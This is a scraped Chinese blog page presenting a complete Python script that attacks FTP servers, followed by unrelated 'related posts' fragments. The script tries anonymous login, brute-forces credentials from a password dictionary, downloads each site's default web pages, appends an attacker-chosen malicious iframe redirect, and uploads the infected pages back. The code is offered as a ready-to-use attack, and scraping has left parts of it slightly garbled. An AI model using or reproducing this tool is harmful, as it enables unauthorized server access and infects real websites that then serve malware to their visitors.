1. 程式人生 > >Python之FTP伺服器暴力破解(注入木馬)

Python之FTP伺服器暴力破解(注入木馬)

密碼字典下載:[email protected]:qq_21792169/dictionary.git

ftp.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time


def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', '[email protected]')
        print '\n[*] ' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
          ' FTP Anonymous Logon Failed.'
        return False


def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
              ' FTP Logon Succeeded: '+userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)


def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return

    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
        retList.append(fileName)
    return retList


def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page

    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page

    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page


def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)


def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H <target host[s]> -r <redirect page>'+\
      '[-f <userpass file>]')
    
    parser.add_option('-H', dest='tgtHosts',\
      type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile',\
      type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect',\
      type='string',help='specify a redirection page')

    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect

    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)

    for tgtHost in tgtHosts:
        username = None
        password = None

        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = '
[email protected]
' print '[+] Using Anonymous Creds to attack' attack(username, password, tgtHost, redirect) elif passwdFile != None: (username, password) =\ bruteLogin(tgtHost, passwdFile) if password != None: '[+] Using Creds: ' +\ username + '/' + password + ' to attack' attack(username, password, tgtHost, redirect) if __name__ == '__main__': main()

相關推薦

PythonFTP伺服器暴力破解注入木馬

密碼字典下載:[email protected]:qq_21792169/dictionary.gitftp.py#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib import optparse impo

Python初始面向對象3--5

修改 面向 import agg 引用 結果 打了 人物 元組 面向過程 VS 面向對象 : 面向過程的優缺點: 優點是:極大的降低了寫程序的復雜度,只需要 順著要執行的步驟,堆疊代碼即可。 缺點是:一套流水線或者流程就是用來解決一個問題,代碼牽一發而動全身。 面向對象的優

python編寫登陸接口第一天

splay readlines 裏的 split 不存在 file mage AI else 作業:編寫登陸接口 輸入用戶名密碼 認證成功後顯示歡迎信息 輸錯三次後鎖定 帳號文件account.txt內容如下: sam 123 david 12 kevin 1

Python 並發編程3-19

tool 工業 主存 軟件 個人計算機 應用程序 調用接口 隔離 總結 1946年第一臺計算機誕生--20世紀50年代中期,計算機工作還在采用手工操作方式。此時還沒有操作系統的概念。   程序員將對應於程序和數據的已穿孔的紙帶(或卡片)裝入輸入機,然

PythonList的前世今生常見的

1、在Python中的List特別方便 2、基本概念:List指的就是線性表,中文叫列表、表、啥的都行 3、建立一個空的List,利用的中括號[] list = [] 4、偏移量、下標(角標,索引),說的有是一回事,第一個元素的下標是0,最後一個元素的下標是-1或者len(lis

Burpsuit使用——暴力破解Intruder入侵

Burp Suite是Web應用程式測試的最佳工具之一,其多種功能可以幫我們執行各種任務.請求的攔截和修改,掃描web應用程式漏洞,以暴力破解登陸表單,執行會話令牌等多種的隨機性檢查。本文將做一個Burp Suite完全正的演練,主要討論它的以下特點. 1.代理–Burp

pythonScrapyd部署爬蟲專案虛擬環境

1、新建虛擬環境(方便管理),在虛擬環境中安裝scrapy專案需要使用到的包 進入虛擬環境使用pip將所需包安裝完成 2、開啟命令列工具執行pip install scrapyd 3、輸入scrapyd啟動scrapyd服務,在瀏覽器輸入127.0.0

八數碼問題bfs暴力破解java實現

八數碼問題 八數碼問題也稱為九宮問題。在3×3的棋盤,擺有八個棋子,每個棋子上標有1至8的某一數字,不同棋子上標的數字不相同。棋盤上還有一個空格,與空格相鄰的棋子可以移到空格中。要求解決的問題是:給出一個初始狀態和一個目標狀態,找出一種從初始轉變成目標狀態的移動棋子步數最

滲透測試DVWA暴力破解LOW

     Brute Force,即暴力(破解),是指黑客利用密碼字典,使用窮舉法猜解出使用者口令,是現在最為廣泛使用的攻擊手法之一,  先放出伺服器端核心程式碼 <?php if(isset($_GET['Login'])){ //Getusername $us

DVWA暴力破解Brute_Force Low&Medium

摘要: 暴力破解一般分為兩種,一種是既不知道使用者名稱和密碼,純蠻力爆破,一種是經過嗅探得到使用者名稱後進行密碼爆破,一般較好的系統都會對你登入錯誤的次數或頻率進行限制,如果連續幾次輸入錯誤,則限制若干分鐘後登入,如果是金融系統或app一般都會對賬號進行鎖定。今天通過DVWA來練習使用burps

C# FTP伺服器中檔案上傳與下載

        通過上一篇部落格《C# 之 FTP伺服器中檔案上傳與下載(一)》,我們已經建立好了一個FTP伺服器,並且該伺服器需要使用者名稱和密碼的驗證。今天我們來實現檔案的上傳。 首先,我們前臺需要一個FileUpload控制元件和一個Button控制元件 <

Python路-文件操作py

句柄 接口 編碼 操作 strong span 操作系統 使用 color 文件操作的基本步驟:   1.打開文件:f=open(‘filename‘),with open(‘filename‘) as f   2.操作文件:增,刪,改,查   3.關閉文件:f.close

Python爬蟲從入門到放棄十一 Scrapy框架整體的一個了解

object 定義 roc encoding eth obi pipe pos 等等 這裏是通過爬取伯樂在線的全部文章為例子,讓自己先對scrapy進行一個整理的理解 該例子中的詳細代碼會放到我的github地址:https://github.com/pythonsite/

Python爬蟲從入門到放棄十八 Scrapy爬取所有知乎用戶信息(上)

user 說過 -c convert 方式 bsp 配置文件 https 爬蟲 爬取的思路 首先我們應該找到一個賬號,這個賬號被關註的人和關註的人都相對比較多的,就是下圖中金字塔頂端的人,然後通過爬取這個賬號的信息後,再爬取他關註的人和被關註的人的賬號信息,然後爬取被關註人

pythonFTP上傳和下載

塊大小 對象 direct 實例 color 二進制文件 pass nbsp orb 1 # FTP操作 2 import ftplib 3 4 host = ‘192.168.20.191‘ 5 username = ‘ftpuser‘ 6 passwor

python多並發socketzz)

請求 mixin reading odin read 處理 exceptio col recv 本文轉載自:http://www.cnblogs.com/bainianminguo/p/7337210.html 先看socket多並發的服務端的代碼,這裏是用多線程實現的多並

Leetcode拾萃算法篇——暴力破解DFS、BFS、permutation

turn 層次 traversal 雞兔同籠 pda www str fine ace 引言 現在互聯網的招工流程,算法題是必不可少的,對於像我這種沒搞過ACM的吃瓜群眾,好在有leetcode,拯救我於水火。於是乎,斷斷續續,刷了一些題,其中一些題還是值得細細品味的,現把

Python系統shell交互subprocess

pycharm tar 命令行 安全 false resolv turn 等價 如何 os與commands模塊 subprocess模塊 subprocess.Popen類 總結 我們幾乎可以在任何操作系統上通過命令行指令與操作系統進行交互,比如Linux平臺下的sh

運維學python爬蟲高級篇scrapy模擬登陸

markdown inux ins com 是否 準備 配置 獲取圖片 con 上一篇介紹了如何爬取豆瓣TOP250的相關內容,今天我們來模擬登陸GitHub。 1 環境配置 語言:Python 3.6.1 IDE: Pycharm 瀏覽器:firefox 抓包工具:fi

bp暴力破解轉載

type position url post 羅嗦 jsb 技術 密碼 cxf 在kali linux系統環境下自帶burpsuite軟件工具。 一、打開瀏覽器需要先設置將代理設置為本地。 打開firefox瀏覽器->open menu->pr